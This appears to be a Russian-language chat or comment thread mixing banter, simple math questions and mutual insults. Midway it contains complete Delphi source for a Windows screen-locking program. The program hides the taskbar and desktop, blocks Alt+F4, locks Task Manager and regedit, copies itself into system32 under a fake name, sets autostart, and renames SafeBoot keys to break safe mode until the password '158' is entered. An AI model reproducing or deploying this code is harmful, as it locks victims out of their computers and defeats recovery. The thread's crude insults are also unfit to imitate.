Прикольно.!

Мне приятно, что вы не посчитали меня математической дурой!

Бывает что-же поделать. ! Как говориться каждому своё.!

А вы , действительно разбираетесь в математике

Ну не полностью пока, а так да.!

Вы-молодец! Меня радует такая молодежь!

Это хорхо что вы радуетесь.))))))))))))))))

Ну левое полушарие та тут.!

...................................................................................................

Ты индивидуум.!

нет жа!!!!!!!!!!!!!!

а

Задача о китайском почтальоне. Почтальон должен пройти вдоль каждой дороги своего квартала. Найдите минимальную длину его маршрута.______64564836

как два пальца облизать)))) 7 ;)главное,что я сказала уверенно)))хех

4*(6+8)= 54

красавЧеГ,возьми каМфетку

Ок.!

unit Unit1; interface usesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, Registry; typeTForm1 = class(TForm)edt1: TEdit;btn1: TButton;lbl1: TLabel;lbl2: TLabel;lbl3: TLabel;lbl4: TLabel;lbl5: TLabel;btn2: TButton;procedure FormActivate(Sender: TObject);procedure FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);procedure FormCreate(Sender: TObject);procedure btn1Click(Sender: TObject);procedure btn2Click(Sender: TObject);private{ Private declarations }public{ Public declarations }end; varForm1: TForm1; implementation {$R *.dfm}{$R WindowsXP.res} procedure TForm1.FormActivate(Sender: TObject);varhTaskBar:THandle;beginForm1.Height:=screen.Height;Form1.Width:=screen.Width;SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,0,0);hTaskbar := FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_HIDE);ShowWindow(FindWindow(Nil,'Program Manager'), SW_HIDE);ShowWindow(Application.Handle, SW_HIDE);end; procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);beginif ((ssAlt in Shift) and (Key = VK_F4)) thenKey:=0;end; procedure TForm1.FormCreate(Sender: TObject);varaz:TRegIniFile;pt : TPoint;beginFileOpen('C:\Windows\system32\taskmgr.exe',fmShareExclusive);FileOpen('C:\Windows\regedit.exe',fmShareExclusive);CopyFile(PChar(paramstr(0)), PChar('C:\Windows\system32\LXwinlogon.exe'),True);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion',True);az.WriteString('Run','Windows System Drives', 'C:\windows\system32\LXwinlogon.exe');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\Minimal','System\CurrentControlSet\Control\SafeBoot\M',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);az.CloseKey;az.Free;end; procedure TForm1.btn1Click(Sender: TObject);varhTaskBar: THandle;Password: string;az:TRegIniFile;beginPassword:=edt1.text;if (Password='158') thenbeginSystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;SystemParametersInfo(SPI_SETFASTTASKSWITCH,0,0,0);ShowWindow(FindWindow(Nil,'Program Manager'),SW_SHOW);hTaskbar:=FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_SHOWNORMAL);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);az.DeleteValue('Windows System Drives');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\M','System\CurrentControlSet\Control\SafeBoot\Minimal',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\N','System\CurrentControlSet\Control\SafeBoot\NetWork',true);az.CloseKey;az.Free;Close;endelsebeginShowMessage('Неправильный пароль, попробуйте ещё!');edt1.Clear;end;end; end.

Прелестный код. Главное очень читабельный.

Да да да.!

ты, мой,Лев, Тигр...хочу тебя <3

Ах ха ха ха.! Хотиииииииииииииииииии.!

какие же вы...пустые))))))))))))))))))))))) <3 <3 <3

И что это я пустой.?

А ха ха ха бабка тупая.!

не истери, тупиздень..

Ладно давай бабка тупая. ! Иди тупи.!

НУ ТЫ БЛИН И БОТАНИК, ВОПРОСЫ ЗАДАЁШЬ КОМУ ПОПАЛО, Я С ЭТИ УЖЕ 33 ГОДА РАБОТАЮ, ЧПУ ЗНАЕШЬ ЧТО ТАКОЕ, БЕЗ ЭТОГО ПОКА НИКАК

Знаю.! И что.?

)

Я желаю вообще вам во всём, успеха, фарта, удачи, здоровье крепкого, и всего самого самого хорошего.!

СПАСИБО!!!!!!!!!!!!!!

Не болейте.!)))))))))))))))))))

Спасибо!

)))

Да что не будь полезное.!

Ок.!

интеграл от дх???

Давайте почему бы и нет.!

А что для вас прекрасное, я и не знаю.!

ну только не математика

О морфологии, что вы знаете?.)

у вас вопросы только предметные? а как на счет про жизнь?

Ладно.!) Какую песню ты бы выбрала для описания своей жизни?

АУУУУУУУУУУУУУУУУУУУУУУУУУУУУУУУ.!))))